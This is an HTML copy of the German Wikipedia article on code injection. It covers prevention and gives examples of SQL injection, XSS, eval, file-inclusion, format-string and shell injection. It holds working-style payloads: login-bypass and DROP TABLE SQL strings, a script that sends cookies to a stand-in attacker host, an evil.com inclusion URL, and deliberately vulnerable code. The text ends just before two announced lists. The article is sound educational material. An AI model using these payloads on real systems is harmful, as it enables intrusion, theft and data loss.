<!DOCTYPE html>
<html class="client-nojs vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-0 vector-toc-not-available vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-1 vector-feature-appearance-pinned-clientpref-0 skin-theme-clientpref-day vector-sticky-header-enabled" lang="de" dir="ltr"><head>
<meta charset="UTF-8">
<title>Code-Injektion</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="./_res_/favicon.png">
<link rel="canonical" href="https://de.wikipedia.org/wiki/Code-Injektion"> <link href="./_mw_/ext.cite.styles.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.pygments.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.wikimediamessages.styles.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.icons.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.search.codex.styles.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.styles.css" rel="stylesheet" type="text/css">
<meta name="ResourceLoaderDynamicStyles" content="">
<link href="./_mw_/ext.gadget.citeRef.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.defaultPlainlinks.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.dewikiCommonHide.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.dewikiCommonLayout.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.dewikiCommonStyle.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.dewikiDarkmode.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.dewikiResponsive.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.gadget.specialSearch.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="./_mw_/site.styles.css">
<link rel="stylesheet" type="text/css" href="./_mw_/noscript.css">
<link rel="stylesheet" type="text/css" href="./_res_/footer.css">
<link rel="stylesheet" type="text/css" href="./_res_/vector-2022.css">
</head>
<body class="skin--responsive skin-vector skin-vector-search-vue mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Code-Injektion rootpage-Code-Injektion skin-vector-2022 action-view">
<div class="mw-page-container">
<div class="mw-page-container-inner">
<div class="mw-content-container">
<main id="content" class="mw-body">
<header class="mw-body-header vector-page-titlebar">
<h1 id="firstHeading" class="firstHeading mw-first-heading"><span class="mw-page-title-main">Code-Injektion</span></h1>
</header>
<a id="top"></a>
<div id="bodyContent" class="vector-body ve-init-mw-desktopArticleTarget-targetContainer" aria-labelledby="firstHeading" data-mw-ve-target-container="">
<div id="contentSub">
<div id="mw-content-subtitle"></div>
</div>
<div id="mw-content-text" class="mw-body-content mw-content-ltr" lang="de" dir="ltr"><div class="mw-content-ltr mw-parser-output" lang="de" dir="ltr"><p><b>Code-Injektion</b> ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines <a href="Programmfehler" title="Programmfehler">Computerfehlers</a>. Dabei werden externe Daten von einem <a href="Hacker_(Computersicherheit)" title="Hacker (Computersicherheit)">Angreifer</a> genutzt, um <a href="Quellcode" class="mw-redirect" title="Quellcode">Code</a> in ein verwundbares <a href="Computerprogramm" title="Computerprogramm">Computerprogramm</a> einzuschleusen (zu „injizieren“) und zur Ausführung zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von <a href="Schadsoftware" class="mw-redirect" title="Schadsoftware">Schadsoftware</a>.
</p><p>Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird.
</p><p>Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen <a href="Interpreter" title="Interpreter">Interpreter</a> sendet. Am häufigsten treten sie auf in <a href="SQL" title="SQL">SQL</a>, <a href="Lightweight_Directory_Access_Protocol" title="Lightweight Directory Access Protocol">LDAP</a>, <a href="XPath" title="XPath">XPath</a>, <a href="NoSQL" title="NoSQL">NoSQL</a>-Abfragen, Betriebssystembefehlen, <a href="Extensible_Markup_Language" title="Extensible Markup Language">XML</a>-<a href="Parser" title="Parser">Parsern</a>, <a href="Simple_Mail_Transfer_Protocol" title="Simple Mail Transfer Protocol">SMTP</a>-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.<sup id="cite_ref-1" class="reference"><a href="#cite_note-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup> Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.<sup id="cite_ref-OWASP10_A1_2-0" class="reference"><a href="#cite_note-OWASP10_A1-2"><span class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup>
</p><p>Injektion kann zu Datenverlust oder -beschädigung oder <a href="Denial-of-Service-Angriff" class="mw-redirect" title="Denial-of-Service-Angriff">Zugriffsverweigerung</a> führen – manchmal sogar zu einer kompletten Hostübernahme.
</p><p>Code-Injection-Techniken sind bei System-<a href="Hacker_(Computersicherheit)" title="Hacker (Computersicherheit)">Hacking</a> oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:
</p>
<ul><li>Beliebiges Verändern von Werten in einer <a href="Datenbank" title="Datenbank">Datenbank</a> durch <a href="SQL-Injection" title="SQL-Injection">SQL-Injection</a>. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.</li>
<li>Installieren von <a href="Malware" class="mw-redirect" title="Malware">Malware</a> oder Ausführen von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie <a href="PHP" title="PHP">PHP</a> oder <a href="Active_Server_Pages" title="Active Server Pages">ASP</a>).</li>
<li><a href="Privilegieneskalation" class="mw-redirect" title="Privilegieneskalation">Privilegieneskalation</a> zu <a href="Superuser" class="mw-redirect" title="Superuser">root</a>-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem <a href="Setuid" title="Setuid">setuid root</a>-Binary unter UNIX oder <a href="Superuser" class="mw-redirect" title="Superuser">Local System</a> durch Ausnutzung eines Dienstes unter <a href="Microsoft_Windows" title="Microsoft Windows">Microsoft Windows</a>.</li>
<li>Angriffe auf Web-Benutzer mit <a href="Hypertext_Markup_Language" title="Hypertext Markup Language">HTML</a>-Skript-Injektion (<a href="Cross-Site-Scripting" title="Cross-Site-Scripting">Cross-Site-Scripting</a>).</li></ul>
<p>Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als <i>Code Injection</i> klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.<sup id="cite_ref-3" class="reference"><a href="#cite_note-3"><span class="cite-bracket">[</span>3<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-heading mw-heading2"><h2 id="Gute_und_ungewollte_Verwendung">Gute und ungewollte Verwendung</h2></div>
<p>Theoretisch kann Code-Injektion mit guten Absichten verwendet werden,<sup id="cite_ref-4" class="reference"><a href="#cite_note-4"><span class="cite-bracket">[</span>4<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-5" class="reference"><a href="#cite_note-5"><span class="cite-bracket">[</span>5<span class="cite-bracket">]</span></a></sup> indem etwa eine Suchergebnisseite eine nützliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei <a href="Penetrationstest_(Informatik)" title="Penetrationstest (Informatik)">Penetrationstests</a>, leistet Code-Injektion gute Dienste („<a href="Hacker_(Computersicherheit)#White-,_Grey-_und_Black-Hats" title="Hacker (Computersicherheit)">White Hat</a>“). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen – etwa eine Bibliotheksfunktion vorübergehend durch eine eigene Funktion mit gleichem Namen überschreiben.<sup id="cite_ref-6" class="reference"><a href="#cite_note-6"><span class="cite-bracket">[</span>6<span class="cite-bracket">]</span></a></sup>
</p><p>Natürlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hält beispielsweise etwas für eine gültige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden – vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlädt.
</p>
<div class="mw-heading mw-heading2"><h2 id="Verhindern_von_Problemen">Verhindern von Problemen</h2></div>
<p>Um Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:
</p>
<ul><li>Die verwendete <a href="Programmierschnittstelle" title="Programmierschnittstelle">Programmierschnittstelle</a> („API“) sollte gegen alle Eingaben sicher sind, wie etwa vorkompilierte SQL-Anweisung mit Platzhaltern für die Benutzerdaten oder die Criteria API.<sup id="cite_ref-7" class="reference"><a href="#cite_note-7"><span class="cite-bracket">[</span>7<span class="cite-bracket">]</span></a></sup></li>
<li>Erzwingen der Sprachentrennung über ein statisches Typensystem.<sup id="cite_ref-types_8-0" class="reference"><a href="#cite_note-types-8"><span class="cite-bracket">[</span>8<span class="cite-bracket">]</span></a></sup></li>
<li>Eingabevalidierung durch (möglichst serverseitiges) <a href="Whitelisting" class="mw-redirect" title="Whitelisting">Whitelisting</a>, also einer Liste akzeptierter Werte.</li>
<li>Eingabekodierung, z. B. das <a href="Escape-Sequenz" title="Escape-Sequenz">Escapen</a> ungewollter Zeichen. In PHP z. B. mit der Funktion <code>htmlspecialchars()</code>, die Sonderzeichen für die sichere Ausgabe in HTML umschreibt, und <code>mysqli::real_escape_string()</code>, die Daten für eine SQL-Anfrage isoliert</li>
<li>Entsprechende Ausgabekodierung zur Verhinderung von <a href="Cross_Site_Scripting" class="mw-redirect" title="Cross Site Scripting">HTML-Injection</a>-Attacken gegen Website-Besucher.</li>
<li><code>HttpOnly</code> ist ein Flag für <a href="HTTP-Cookie" title="HTTP-Cookie">HTTP-Cookies</a>, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe.<sup id="cite_ref-9" class="reference"><a href="#cite_note-9"><span class="cite-bracket">[</span>9<span class="cite-bracket">]</span></a></sup></li>
<li>Modulare Shell-Abkopplung vom Kernel</li></ul>
<p>Diese Lösungsvorschläge befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Vorschläge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:
</p>
<ul><li>Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.</li>
<li><a href="NX-Bit" title="NX-Bit">NX-Bit</a> – Alle Benutzerdaten kommen in einen speziellen Speicherbereich, der als nicht ausführbar markiert ist. Der Prozessor weiß dann, dass dort kein Code vorhanden sein kann, und lehnt dort die Ausführung ab.</li>
<li><i>Canaries</i> – Diese legen zufällig Werte auf einen Stack. Nach der Rückkehr der Funktion wird der Wert überprüft und bei Veränderung das Programm gestoppt. Dies verhindert <a href="Stack_Overflow" class="mw-redirect" title="Stack Overflow">Stack-Overflow</a>-Attacken.</li>
<li><i>Code Pointer Masking</i> (CPM) – Ein Zeiger auf auszuführenden Code wird zuvor auf Plausibilität geprüft. In <a href="C_(Programmiersprache)" title="C (Programmiersprache)">C</a> kann dies auf Prozessorebene durch eine Bitmaske geschehen.<sup id="cite_ref-10" class="reference"><a href="#cite_note-10"><span class="cite-bracket">[</span>10<span class="cite-bracket">]</span></a></sup></li></ul>
<div class="mw-heading mw-heading2"><h2 id="Beispiele">Beispiele</h2></div>
<div class="mw-heading mw-heading3"><h3 id="SQL-Injektion">SQL-Injektion</h3></div>
<div class="hauptartikel" role="navigation"><span class="hauptartikel-pfeil" title="siehe" aria-hidden="true" role="presentation">→ </span><i><span class="hauptartikel-text">Hauptartikel</span>: <a href="SQL-Injektion" class="mw-redirect" title="SQL-Injektion">SQL-Injektion</a></i></div>
<p>Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.
</p><p>Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine <a href="SQL" title="SQL">SQL</a>-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:
</p>
<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre><span></span><span class="k">SELECT</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span>
<span class="k">FROM</span><span class="w"> </span><span class="n">BenutzerListe</span>
<span class="k">WHERE</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o"><</span><span class="n">Inhalt</span><span class="w"> </span><span class="n">von</span><span class="w"> </span><span class="n">Feld</span><span class="o">-</span><span class="mi">1</span><span class="o">></span>
<span class="k">AND</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o"><</span><span class="n">Inhalt</span><span class="w"> </span><span class="n">von</span><span class="w"> </span><span class="n">Feld</span><span class="o">-</span><span class="mi">2</span><span class="o">></span>
</pre></div>
<p>Diese Abfrage wird genau dann fündig, wenn es in der Tabelle <code>BenutzerListe</code> einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.
</p><p>Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code <code>XYZ' OR '1'='1'</code>, dann entsteht folgende Abfrage:
</p>
<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre><span></span><span class="k">SELECT</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span>
<span class="k">FROM</span><span class="w"> </span><span class="n">BenutzerListe</span>
<span class="k">WHERE</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o"><</span><span class="n">Inhalt</span><span class="w"> </span><span class="n">von</span><span class="w"> </span><span class="n">Feld</span><span class="o">-</span><span class="mi">1</span><span class="o">></span>
<span class="k">AND</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'XYZ'</span>
<span class="k">OR</span><span class="w"> </span><span class="s1">'1'</span><span class="o">=</span><span class="s1">'1'</span>
</pre></div>
<p>Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort „XYZ“ (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.
</p><p>Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: <code>';DROP TABLE BenutzerListe; --</code>. In diesem Fall entsteht die folgende Datenbankabfrage:
</p>
<div class="mw-highlight mw-highlight-lang-sql mw-content-ltr" dir="ltr"><pre><span></span><span class="k">SELECT</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span>
<span class="k">FROM</span><span class="w"> </span><span class="n">BenutzerListe</span>
<span class="k">WHERE</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">.</span><span class="n">Benutzername</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">''</span><span class="p">;</span>
<span class="k">DROP</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">BenutzerListe</span><span class="p">;</span>
<span class="c1">--AND BenutzerListe.Passwort = ''</span>
</pre></div>
<p>Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als Nächstes folgt eine DROP-Anweisung, die die komplette Tabelle <code>BenutzerListe</code> sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.
</p>
<div class="mw-heading mw-heading3"><h3 id="Cross-Site-Scripting">Cross-Site-Scripting</h3></div>
<div class="hauptartikel" role="navigation"><span class="hauptartikel-pfeil" title="siehe" aria-hidden="true" role="presentation">→ </span><i><span class="hauptartikel-text">Hauptartikel</span>: <a href="Cross-Site-Scripting" title="Cross-Site-Scripting">Cross-Site-Scripting</a></i></div>
<p>Code-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein <a href="G%C3%A4stebuch" title="Gästebuch">Gästebuch</a> an, in dem Besucher kleine Nachrichten hinterlassen sollen – Dinge wie
</p>
<div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre><span></span>Sehr schöne Seite!
</pre></div>
<p>Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen:
</p>
<div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre><span></span>Schöne Seite, ich denke, ich werde sie missbrauchen. <span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s2">"https://angreifer/bösescgi/cookie.cgi?steal="</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">escape</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)</</span><span class="nt">script</span><span class="p">></span>
</pre></div>
<p>Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <code><script></code> bis <code></script></code> gar nicht – statt ihn anzuzeigen, führt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwünschte Aktionen ausführen – wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.
</p><p>Dieses Injizieren von Skripten in die <a href="Sitzung_(Informatik)" title="Sitzung (Informatik)">Sitzung</a> eines ahnungslosen folgenden Users wird als „<a href="Cross-Site-Scripting" title="Cross-Site-Scripting">Cross-Site-Scripting</a>“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernimmt den Code des ersten Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.<sup id="cite_ref-HopeWalther_11-0" class="reference"><a href="#cite_note-HopeWalther-11"><span class="cite-bracket">[</span>11<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-heading mw-heading3"><h3 id="Dynamische_Auswertungsschwachstellen">Dynamische Auswertungsschwachstellen</h3></div>
<p>Eine <code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><span class="k">eval</span><span class="p">()</span></code>-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine <code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><span class="k">eval</span><span class="p">()</span></code>-Funktion eingespeist wird
aufruft.<sup id="cite_ref-12" class="reference"><a href="#cite_note-12"><span class="cite-bracket">[</span>12<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="nv">$myvar</span> <span class="o">=</span> <span class="s1">'somevalue'</span><span class="p">;</span>
<span class="nv">$x</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'arg'</span><span class="p">];</span>
<span class="k">eval</span><span class="p">(</span><span class="s1">'$myvar = '</span> <span class="o">.</span> <span class="nv">$x</span> <span class="o">.</span> <span class="s1">';'</span><span class="p">);</span>
</pre></div>
<p>Das Argument von <code><a href="Eval" title="Eval">eval</a></code> wird als <a href="PHP" title="PHP">PHP</a> verarbeitet, so dass weitere Befehle angehängt werden können. Wird <code>arg</code> beispielsweise auf „<code class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><span class="mi">10</span><span class="p">;</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'/bin/echo uh-oh'</span><span class="p">)</span></code>“ gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall „<code>/bin/echo</code>“.
</p>
<div class="mw-heading mw-heading3"><h3 id="Objektinjektion">Objektinjektion</h3></div>
<p><a href="PHP" title="PHP">PHP</a> erlaubt die <a href="Serialisierung" title="Serialisierung">Serialisierung</a> und <a href="Deserialisierung" class="mw-redirect" title="Deserialisierung">Deserialisierung</a> von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.<sup id="cite_ref-13" class="reference"><a href="#cite_note-13"><span class="cite-bracket">[</span>13<span class="cite-bracket">]</span></a></sup> Ein solcher Angriff auf <a href="Joomla" title="Joomla">Joomla</a> wurde 2013 gefunden.<sup id="cite_ref-14" class="reference"><a href="#cite_note-14"><span class="cite-bracket">[</span>14<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-heading mw-heading3"><h3 id="Entfernte_Dateiinjektion">Entfernte Dateiinjektion</h3></div>
<p>Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt):
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="cp"><?php</span>
<span class="nv">$color</span> <span class="o">=</span> <span class="s1">'blue'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'Farbe'</span><span class="p">]))</span>
<span class="nv">$color</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'color'</span><span class="p">];</span>
<span class="k">require</span><span class="p">(</span><span class="nv">$color</span> <span class="o">.</span> <span class="s1">'.php'</span><span class="p">);</span>
</pre></div>
<p>Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie <code>blau.php</code> und <code>rot.php</code> geladen werden, während Angreifer <code>COLOR=http://evil.com/exploit</code> angeben könnten, was PHP veranlasst, die externe Datei zu laden.
</p>
<div class="mw-heading mw-heading3"><h3 id="Format-Spezifizierer-Injektion">Format-Spezifizierer-Injektion</h3></div>
<p>Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise <code>printf(buffer)</code> statt <code>printf("%s", buffer)</code>. Die erste Version interpretiert <code>buffer</code> als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.
</p><p>Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array <code>passwort</code> hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.
</p>
<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre><span></span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">user_input</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">int_in</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">passwort</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"Passwort1"</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Geben Sie eine ganze Zahl ein."</span><span class="p">);</span>
<span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">int_in</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Bitte geben Sie einen String</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">user_input</span><span class="p">),</span><span class="w"> </span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="n">user_input</span><span class="p">);</span><span class="w"> </span><span class="c1">// Sichere Version ist: printf("%s", user_input);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
</pre></div>
<p>Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie <code>%s%s%s%s%s%s%s%s</code> gefüllt wird, dann beginnt <code>printf()</code>, aus dem Stack zu lesen. Schließlich wird einer der <code>%s</code>-Formatierer auf die Adresse von <code>Passwort</code> zugreifen, die sich auf dem Stack befindet, und <code>Passwort1</code> auf den Bildschirm ausgeben.
</p>
<div class="mw-heading mw-heading3"><h3 id="Shell-Injektion">Shell-Injektion</h3></div>
<p>Shell-Injektion (oder Befehlsinjektion<sup id="cite_ref-15" class="reference"><a href="#cite_note-15"><span class="cite-bracket">[</span>15<span class="cite-bracket">]</span></a></sup>) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine <a href="Befehlszeile" class="mw-redirect" title="Befehlszeile">Befehlszeile</a> programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares <a href="Tcsh" class="mw-redirect" title="Tcsh">tcsh</a>-Skript:
</p>
<div class="mw-highlight mw-highlight-lang-tcsh mw-content-ltr" dir="ltr"><pre><span></span><span class="c">#!/bin/tcsh</span>
<span class="c"># überprüfe arg-Ausgaben es passt, wenn arg eins ist</span>
<span class="k">if</span> <span class="o">(</span><span class="nv">$1</span> <span class="o">==</span> 1<span class="o">)</span> <span class="nb">echo </span>it matches
</pre></div>
<p>Wenn das obige in der ausführbaren Datei <code>./check</code> gespeichert ist, wird der Shell-Befehl <code>./check " 1 ) evil"</code> versuchen, den injizierten Shell-Befehl <code>evil</code> auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.<sup id="cite_ref-16" class="reference"><a href="#cite_note-16"><span class="cite-bracket">[</span>16<span class="cite-bracket">]</span></a></sup>
</p><p>Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören <code>system()</code>,<sup id="cite_ref-17" class="reference"><a href="#cite_note-17"><span class="cite-bracket">[</span>17<span class="cite-bracket">]</span></a></sup> <code>StartProcess()</code> und <code>System.Diagnostics.Process.Start()</code>.<sup id="cite_ref-18" class="reference"><a href="#cite_note-18"><span class="cite-bracket">[</span>18<span class="cite-bracket">]</span></a></sup>
</p><p><a href="Client-Server-Modell" title="Client-Server-Modell">Client-Server</a>-Systeme wie <a href="Webbrowser" title="Webbrowser">Webbrowsers</a> Interaktion mit <a href="Webserver" title="Webserver">Webservern</a> sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze <a href="PHP" title="PHP">PHP</a>-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens <code>funnytext</code> auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="cp"><?php</span>
<span class="nb">passthru</span><span class="p">(</span><span class="s2">"/bin/funnytext "</span> <span class="o">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'USER_INPUT'</span><span class="p">]);</span>
</pre></div>
<p>Das <code>passthru</code> im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):<sup id="cite_ref-19" class="reference"><a href="#cite_note-19"><span class="cite-bracket">[</span>19<span class="cite-bracket">]</span></a></sup>
</p><p>Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:
</p>
